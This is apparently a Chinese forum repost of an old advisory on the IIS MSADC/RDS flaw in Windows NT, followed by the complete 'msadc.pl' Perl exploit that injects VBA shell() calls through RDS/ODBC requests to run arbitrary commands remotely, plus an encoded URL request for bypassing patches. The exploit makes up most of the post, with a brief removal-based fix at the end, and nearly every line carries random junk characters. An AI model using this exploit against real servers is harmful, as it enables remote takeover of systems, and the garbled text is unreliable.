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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) j6RJC  
*&h6*zP?  
涉及程序: $]nVr(OZ_  
Microsoft NT server avmcGyL  
]&' jP  
描述: ZMP?'0h=  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 mn(/E/  
FLK"|*A  
详细: vNPfUEnA  
如果你没有时间读详细内容的话,就删除: 4+-5,t7  
c:\Program Files\Common Files\System\Msadc\msadcs.dll vwm|I7/w  
有关的安全问题就没有了。 y9=t;qH@|  
8?A@/  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ; A x=]Q  
)\RzE[Cb  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ZUv ZN f  
关于利用ODBC远程漏洞的描述,请参看: =kwb` Z/a  
7Y%!,ff  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yB 1I53E  
!?S5IGLOj  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 FK-}i|di  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp KSF5)CZ5  
G% o7BX  
这里不再论述。 H]Y#pL u|  
5<!o{)I  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: t) ;   
|GJBwrL^0  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset PG\\V$}A(  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 'uws  
,\BfmC_i  
)lQN)! .)  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0T7M_G'5Q  
Xs{/}wc.q;  
#!perl +dDJes!]  
# qK<aZ%V  
# MSADC/RDS 'usage' (aka exploit) script FrgW7`s[A  
# FAH[5VD r%  
# by rain.forest.puppy "ugX /r$_  
# xWd9%,mDNR  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me }*xC:A%aS  
# beta test and find errors! &*X3c h  
(PRaiE  
use Socket; use Getopt::Std; s4!|v`+$M  
getopts("e:vd:h:XR", \%args); H?rSP0.  
cZPbD;e:  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; cjCE3V9X  
Q,OkO?uY  
if (!defined $args{h} && !defined $args{R}) { ztRWIkI q  
print qq~ rd|@*^k  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %{N>c:2I$  
-h <host> = host you want to scan (ip or domain) Rh!L'? C  
-d <seconds> = delay between calls, default 1 second emGV]A%nss  
-X = dump Index Server path table, if available xmCm3ekmpC  
-v = verbose Na~g*)uT$  
-e = external dictionary file for step 5 }~7H2d);-  
R tXF  
Or a -R will resume a command session }T?i%l  
>:3xi{  
~; exit;} Ej;Vr~Wi  
##SLwrg  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; *5ka.=Qs  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} @C!JtgO%  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} }`+O$0A  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); % <8K^|w  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^hQ:A4@q  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } s4\SX,  
X7'h@>R   
if (!defined $args{R}){ $ret = &has_msadc; wxdh?sQ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ,apd3X%g  
tXssejiE%  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $K=K?BV[  
. "cmd /c "; $#6 Fnhh}  
$in=<STDIN>; chomp $in; H}u)%qY+~  
$command="cmd /c " . $in ; ;`X`c  
J>,'P^  
if (defined $args{R}) {&load; exit;} fY| @{]rx  
v*vub#wP  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; D'HL /[@`  
&try_btcustmr; K8yWg\K  
GV `idFd  
print "\nStep 2: Trying to make our own DSN..."; umq$4}T '$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; z{ Zimr  
Qs#9X=6e@  
print "\nStep 3: Trying known DSNs..."; $i1>?pb3  
&known_dsn; Hl4vLx@  
Y/?DSo4G  
print "\nStep 4: Trying known .mdbs..."; (hD X4;4  
&known_mdb; e#76h;  
-jcrXskb&N  
if (defined $args{e}){ :Su5  
print "\nStep 5: Trying dictionary of DSN names..."; OF<[Nh\.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } -y7l?N5F>  
;ph+ZV  
print "Sorry Charley...maybe next time?\n"; DYy@t^sC  
exit; `Z;B^Y0  
,d/CU  
############################################################################## 8EW`*+%=  
];YglHH  
sub sendraw { # ripped and modded from whisker ]ly)z[is"]  
sleep($delay); # it's a DoS on the server! At least on mine... $=;bccIob  
my ($pstr)=@_; bi4^ zaCEE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ijR-?nrR  
die("Socket problems\n"); J.CZR[XF#  
if(connect(S,pack "SnA4x8",2,80,$target)){ zD#+[XI]K  
select(S); $|=1; XY$cx~  
print $pstr; my @in=<S>; RP ScP  
select(STDOUT); close(S); #/& q  
return @in; )VSGqYr#  
} else { die("Can't connect...\n"); }} Z.cG`Km*  
3!ajvSOI9j  
############################################################################## 93zlfLS0  
DI2S %N l  
sub make_header { # make the HTTP request DcFV^8O&  
my $msadc=<<EOT A ydy=sj  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 uMq\];7I  
User-Agent: ACTIVEDATA {<Xo,U7 y  
Host: $ip A-@-?AR  
Content-Length: $clen rsq'60  
Connection: Keep-Alive H7cRWB  
NZi'eZ{^`  
ADCClientVersion:01.06 \a~;8):q=i  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 XH_qA[=c]  
1nX68fS.9  
--!ADM!ROX!YOUR!WORLD! $7k04e@ ]  
Content-Type: application/x-varg 9R t(G_'  
Content-Length: $reqlen B=nx8s  
O+3D 5*  
EOT ' m# Ymp  
; $msadc=~s/\n/\r\n/g; z;@S_0M,Z  
return $msadc;} F0o18k_"  
0^-b}  
############################################################################## !UPAEA  
5"Xo R)  
sub make_req { # make the RDS request :;gwdZ  
my ($switch, $p1, $p2)=@_; )I0g&e^Tzy  
my $req=""; my $t1, $t2, $query, $dsn;  =}1~~  
Snvj9Nr  
if ($switch==1){ # this is the btcustmr.mdb query ='l6&3X  
$query="Select * from Customers where City=" . make_shell(); g]hn@{[  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . tI(t%~>^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} h11bK'TIv  
70 D Q/b  
elsif ($switch==2){ # this is general make table query !un"XI0`t<  
$query="create table AZZ (B int, C varchar(10))"; wE=8jl*  
$dsn="$p1";} ,'@ISCK^  
Q!$kUcky9  
elsif ($switch==3){ # this is general exploit table query 7[VCCI g  
$query="select * from AZZ where C=" . make_shell(); \?Oa}&k$F8  
$dsn="$p1";} @%okaj#IO  
boHm1hPKS  
elsif ($switch==4){ # attempt to hork file info from index server ^SES')x  
$query="select path from scope()"; !-Tmu  
$dsn="Provider=MSIDXS;";} vcUM]m8k   
"Mu $3 w  
elsif ($switch==5){ # bad query .cn w?EI  
$query="select"; E"vi+'(v  
$dsn="$p1";} Ql!6I(  
\}_7^)S;  
$t1= make_unicode($query); =dJEcC_J  
$t2= make_unicode($dsn); ?_`P;}4#  
$req = "\x02\x00\x03\x00"; q.Aw!]:!  
$req.= "\x08\x00" . pack ("S1", length($t1)); Vf* B1Zb  
$req.= "\x00\x00" . $t1 ; I5 7<0  
$req.= "\x08\x00" . pack ("S1", length($t2)); b+fy&rk@-  
$req.= "\x00\x00" . $t2 ; ^*T{-U'  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !EC\1rmdlN  
return $req;} t`/RcAwA  
+vY`?k`  
############################################################################## ?>Ci`XlLr  
qv >(  
sub make_shell { # this makes the shell() statement ;Z0cD*Jb  
return "'|shell(\"$command\")|'";} BB}iBf I'  
t7& GCZ  
############################################################################## eFI9S.6  
m_W.r+s~C4  
sub make_unicode { # quick little function to convert to unicode ~V)VGGOL$v  
my ($in)=@_; my $out; z[I/ AORl  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;R>42 qYF  
return $out;} #pxet  
q>h+Ke  
############################################################################## d3hTz@JY  
P=hf/jOv9  
sub rdo_success { # checks for RDO return success (this is kludge) E.*OA y  
my (@in) = @_; my $base=content_start(@in); U\plt%2m>  
if($in[$base]=~/multipart\/mixed/){ Q#AHEm{9;s  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} |UiykQ  
return 0;} N>#P 1!eP  
c35vjYQx0  
############################################################################## A ba%Gh  
>LZ)<-Mk  
sub make_dsn { # this makes a DSN for us `9NnL.w!  
my @drives=("c","d","e","f"); 23?0'AU  
print "\nMaking DSN: "; "!eT  
foreach $drive (@drives) { Z4tq&^ :c=  
print "$drive: "; zb*4Nsda:  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . x@l~*6!K  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" --hnv/AjI  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); UjK&`a ;V  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; g#&##f  
return 0 if $2 eq "404"; # not found/doesn't exist tUnVdh6L.B  
if($2 eq "200") { DccsVR`7  
foreach $line (@results) { pNsLoNZ3w  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} zIm!8a  
} return 0;} h2*&>Mc  
fXQRsL8 ]  
############################################################################## TniKH( w/  
)xs,  
sub verify_exists { NGzqiu"J  
my ($page)=@_; .DsYR/  
my @results=sendraw("GET $page HTTP/1.0\n\n"); sM_e_e  
return $results[0];} n#,l&Bx  
cC]1D*Bn  
############################################################################## |ZzBCL8q  
nA j2k  
sub try_btcustmr { tS@/Bq('B  
my @drives=("c","d","e","f"); D'+8]B  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >C66X?0cd  
1W7BN~p14  
foreach $dir (@dirs) { ~;s)0M  
print "$dir -> "; # fun status so you can see progress 00TdX|V`  
foreach $drive (@drives) { 6S&YL  
print "$drive: "; # ditto |`/uS;O  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; m^+ ~pC5  
$reqlenlen=length( "$reqlen" ); YtQWArX,  
$clen= 206 + $reqlenlen + $reqlen; N$b;8F  
I'YotV7  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); (`xnA~BN  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} dkC/ ?R  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} B\yq% m  
znRhQ+8;!  
############################################################################## g>CQO,s;w  
a"4 6_>  
sub odbc_error { {P+[C O  
my (@in)=@_; my $base; Puh&F< B  
my $base = content_start(@in); ?Ea"%z*c5  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this K@hUif|([  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'kK%sE   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x=)$sD-3  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \]El%j4  
return $in[$base+4].$in[$base+5].$in[$base+6];} iHB)wC`u  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; DVH><3FF  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . +.cv,1Vx  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |SleSgS<#  
mAa]E t.  
############################################################################## kMXl {  
s9>!^MzBK  
sub verbose { S#dS5OX  
my ($in)=@_; W@=ilW3RD  
return if !$verbose; t T:yvU@a  
print STDOUT "\n$in\n";} U @|_5[nl  
.|-y+9IP  
############################################################################## G.T1rUh=  
!HYqM(|{.  
sub save { cGKk2'v?  
my ($p1, $p2, $p3, $p4)=@_; 4N&}hOM'S  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2D"/k'iA  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; O/nS,Ux  
close OUT;} nt6"}vO  
@d|9(,Q  
############################################################################## m6D4J=59  
(#qVtN`t  
sub load { N%+M+zEJ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; kF .b)  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); dPId= w)  
@p=<IN>; close(IN); 7(Kc9sJC%%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %|>i2  
$target= inet_aton($ip) || die("inet_aton problems"); `314.a6S  
print "Resuming to $ip ..."; ,~#hHhR_  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; J)o%83//  
if($p[1]==1) { ,?+yu6eLb  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `RRORzXoS  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; P9vROzXK  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); [G*mQ@G9  
if (rdo_success(@results)){print "Success!\n";} ;U&VPIX$  
else { print "failed\n"; verbose(odbc_error(@results));}} rv:O|wZ  
elsif ($p[1]==3){ "5K: "m  
if(run_query("$p[3]")){ |~Iw   
print "Success!\n";} else { print "failed\n"; }} AP%h!b5v  
elsif ($p[1]==4){ ";]m]PRAam  
if(run_query($drvst . "$p[3]")){ QTH yH   
print "Success!\n"; } else { print "failed\n"; }} ?%(*bRV -  
exit;} ,fn=%tiUk  
}=gGs  
############################################################################## RU=%yk-gM  
&3V4~L1aEg  
sub create_table { FBsw\P5w  
my ($in)=@_; `u-Y 5mY  
$reqlen=length( make_req(2,$in,"") ) - 28; &7LfNN`  
$reqlenlen=length( "$reqlen" ); 0ZN/-2c A#  
$clen= 206 + $reqlenlen + $reqlen; mf#oa~_  
my @results=sendraw(make_header() . make_req(2,$in,"")); q`hg@uwA{`  
return 1 if rdo_success(@results); wlJ1,)n^2  
my $temp= odbc_error(@results); verbose($temp); #A!0KN;GC2  
return 1 if $temp=~/Table 'AZZ' already exists/; <>TBM^  
return 0;} yyc&'J  
KMV!Hqkk  
############################################################################## O9Aooe4W=  
syF/jWM5  
sub known_dsn { (!s[~O6  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go jk@]d5  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", i{2KMa{K  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", P;34Rd  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); YQ/ *|  
K4"as9oFP  
foreach $dSn (@dsns) { }O/Nn0,  
print "."; E2MpMR  
next if (!is_access("DSN=$dSn")); aH_&=/-Tz  
if(create_table("DSN=$dSn")){ Dp8(L ]6  
print "$dSn successful\n";  ~$B ,K]  
if(run_query("DSN=$dSn")){ Iu8=[F>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P\JpE  
print "Something's borked. Use verbose next time\n";}}} print "\n";} j*"s~8u4  
H UjmJu6f{  
############################################################################## 2k_Bo~.  
sdLFBiR  
sub is_access { >:=TS"}yS}  
my ($in)=@_; 2r,fF<WQ  
$reqlen=length( make_req(5,$in,"") ) - 28; `8I&(k<wLe  
$reqlenlen=length( "$reqlen" ); @OpcS>:R  
$clen= 206 + $reqlenlen + $reqlen; ; OsN^   
my @results=sendraw(make_header() . make_req(5,$in,"")); #qWEyb2UZ  
my $temp= odbc_error(@results); 0:*$i(2  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); n2E2V<#   
return 0;} hY!G>d{J  
MEu-lM7v  
############################################################################## yAOC<d9 E  
T(6S~; ,Z  
sub run_query { &m`  
my ($in)=@_; wZ^/-  
$reqlen=length( make_req(3,$in,"") ) - 28; [kCn6\_<V  
$reqlenlen=length( "$reqlen" ); 2rxdRg'YLQ  
$clen= 206 + $reqlenlen + $reqlen; z,)Fvs4U.  
my @results=sendraw(make_header() . make_req(3,$in,"")); m#Cp.|>kP4  
return 1 if rdo_success(@results); \ys3&<;b  
my $temp= odbc_error(@results); verbose($temp); 2.6,c$2tB  
return 0;} cMj<k8.{  
3]'3{@{} H  
############################################################################## #xmUND`@  
*jYwcW"R{z  
sub known_mdb { zMa`olTZ  
my @drives=("c","d","e","f","g"); ` F)Iv:;y,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [f'7/w+  
my $dir, $drive, $mdb; =Zj9F1E[i  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; wdg[pt />  
1||e !W  
# this is sparse, because I don't know of many V1ug.Jv^  
my @sysmdbs=( "\\catroot\\icatalog.mdb", @wo9;DW`  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", &c]x;#-y  
"\\system32\\certmdb.mdb", ;j$84o{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  *q^'%'  
! M bRI  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", G 5)?!  
"\\cfusion\\cfapps\\forums\\forums_.mdb", _?{2{^v  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", &rn,[w_F[  
"\\cfusion\\cfapps\\security\\realm_.mdb", _2|,j\f;L  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #8PjYB  
"\\cfusion\\database\\cfexamples.mdb", !o`al` q'  
"\\cfusion\\database\\cfsnippets.mdb", vOqT Ld  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", j1BYSfX'  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ?}W:DGudZ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ?B-aj  
"\\cfusion\\database\\smpolicy.mdb", ,yB-jk?  
"\\cfusion\\database\cypress.mdb", D!:Qy@Zw  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", b c+' n  
"\\website\\cgi-win\\dbsample.mdb", hJ|z8Sy@1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", TqWvHZX  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" })J]D~!p  
); #these are just wtZe\ h  
foreach $drive (@drives) { F*a+&% Q  
foreach $dir (@dirs){ t<e?f{Q5  
foreach $mdb (@sysmdbs) { CSs3l  
print "."; 2W}RXqV<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =%a.C(0&G  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; "$WZd  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ G",+jR]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; D,NjDIG8  
} else { print "Something's borked. Use verbose next time\n"; }}}}} rP*?a~<  
46mu,v  
foreach $drive (@drives) {  "d A"N$  
foreach $mdb (@mdbs) { &oT]ycz%  
print "."; tvd/Y|bV=  
if(create_table($drv . $drive . $dir . $mdb)){ )&*&ZL0  
print "\n" . $drive . $dir . $mdb . " successful\n"; 77)C`]0(  
if(run_query($drv . $drive . $dir . $mdb)){ $hA[vi\5  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Qc6323/"  
} else { print "Something's borked. Use verbose next time\n"; }}}} [ P 8e=;  
} Cu0/TeEM  
*{XbC\j  
############################################################################## A>X#[qx  
EB)0 iQ  
sub hork_idx { u!t'J+:  
print "\nAttempting to dump Index Server tables...\n"; 5^%FEZ&Sp  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; vwP83b0ov"  
$reqlen=length( make_req(4,"","") ) - 28; l!GAMK 6o  
$reqlenlen=length( "$reqlen" ); b6#V0bDXHD  
$clen= 206 + $reqlenlen + $reqlen; C<{k[!N%zm  
my @results=sendraw2(make_header() . make_req(4,"","")); kg_TXB  
if (rdo_success(@results)){ Z{%h6""  
my $max=@results; my $c; my %d; |`,%%p|T%  
for($c=19; $c<$max; $c++){ Zu5`-[mw  
$results[$c]=~s/\x00//g; Lw3Z^G  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3uN;*f  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; CA{c-kG  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; T,k`WR  
$d{"$1$2"}="";} (;!&RZ  
foreach $c (keys %d){ print "$c\n"; } yXl zImPn  
} else {print "Index server doesn't seem to be installed.\n"; }}  M7hff4c  
63ht|$G  
############################################################################## *r[PZ{D+  
v\Q${6kEtx  
sub dsn_dict { (d@lG*K  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); s$mcIMqs  
while(<IN>){ hMi`n6m  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^ng?+X>mP  
next if (!is_access("DSN=$dSn")); YrA#NTB_o  
if(create_table("DSN=$dSn")){ `^RpT]S  
print "$dSn successful\n"; EWbFy"=  
if(run_query("DSN=$dSn")){ B1 'Ds  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7Qz Uw  
print "Something's borked. Use verbose next time\n";}}} 3. Kh  
print "\n"; close(IN);} ,LG6py&aT  
!MoGdI-<r[  
############################################################################## CmM K\R.  
_8kZ>w(L  
sub sendraw2 { # ripped and modded from whisker -fYgTst2  
sleep($delay); # it's a DoS on the server! At least on mine... I9H+$Wjd  
my ($pstr)=@_; =! /S |  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ow<=K:^  
die("Socket problems\n"); $5:j" )$,  
if(connect(S,pack "SnA4x8",2,80,$target)){ waldLb>7D  
print "Connected. Getting data"; qY0p)`3!%  
open(OUT,">raw.out"); my @in; tZwZZ0]Z  
select(S); $|=1; print $pstr; CsXIq.9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} )V} t(>V  
close(OUT); select(STDOUT); close(S); return @in;  #\Lt0  
} else { die("Can't connect...\n"); }} 2B5Z0<  
m%l\EE  
############################################################################## ,{7Z OzA  
8h}o5B  
sub content_start { # this will take in the server headers 7@5}WNr  
my (@in)=@_; my $c; 9tWu>keu  
for ($c=1;$c<500;$c++) {  GVe[)R  
if($in[$c] =~/^\x0d\x0a/){ BG/M3  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } j$siCsF  
else { return $c+1; }}} eNpGa0 eG  
return -1;} # it should never get here actually Y0 Ta&TYZ0  
~[t%g9  
############################################################################## b v~"_)C  
P;{f+I|`  
sub funky { p8frSrcU  
my (@in)=@_; my $error=odbc_error(@in); *ax$R6a#X  
if($error=~/ADO could not find the specified provider/){ V~%!-7?  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; c&J,O1){\  
exit;} 44b;]htv  
if($error=~/A Handler is required/){ Z-.`JkKd8  
print "\nServer has custom handler filters (they most likely are patched)\n"; m o nqaSF  
exit;} 8 Ys DE_  
if($error=~/specified Handler has denied Access/){ wHvX|GwMv  
print "\nServer has custom handler filters (they most likely are patched)\n"; V`m'r+ Y  
exit;}} =Z2Cg{z  
ZXh6Se4o  
############################################################################## 4DaLmQ2O  
9])dLL0  
sub has_msadc { V)=!pT  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); *xI0hFJIM  
my $base=content_start(@results); GMyzQ]@}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n3 -5`Jti  
return 0;} p<: bP w  
QJ\ o"c  
######################## F$F,I,$ "  
?I6!m~  
\ym3YwP4/:  
解决方案: &;DK^ta*P  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll $i;%n1VBg  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 @ (<C{  
\R\?`8O rz  
拿出来充数 哈哈
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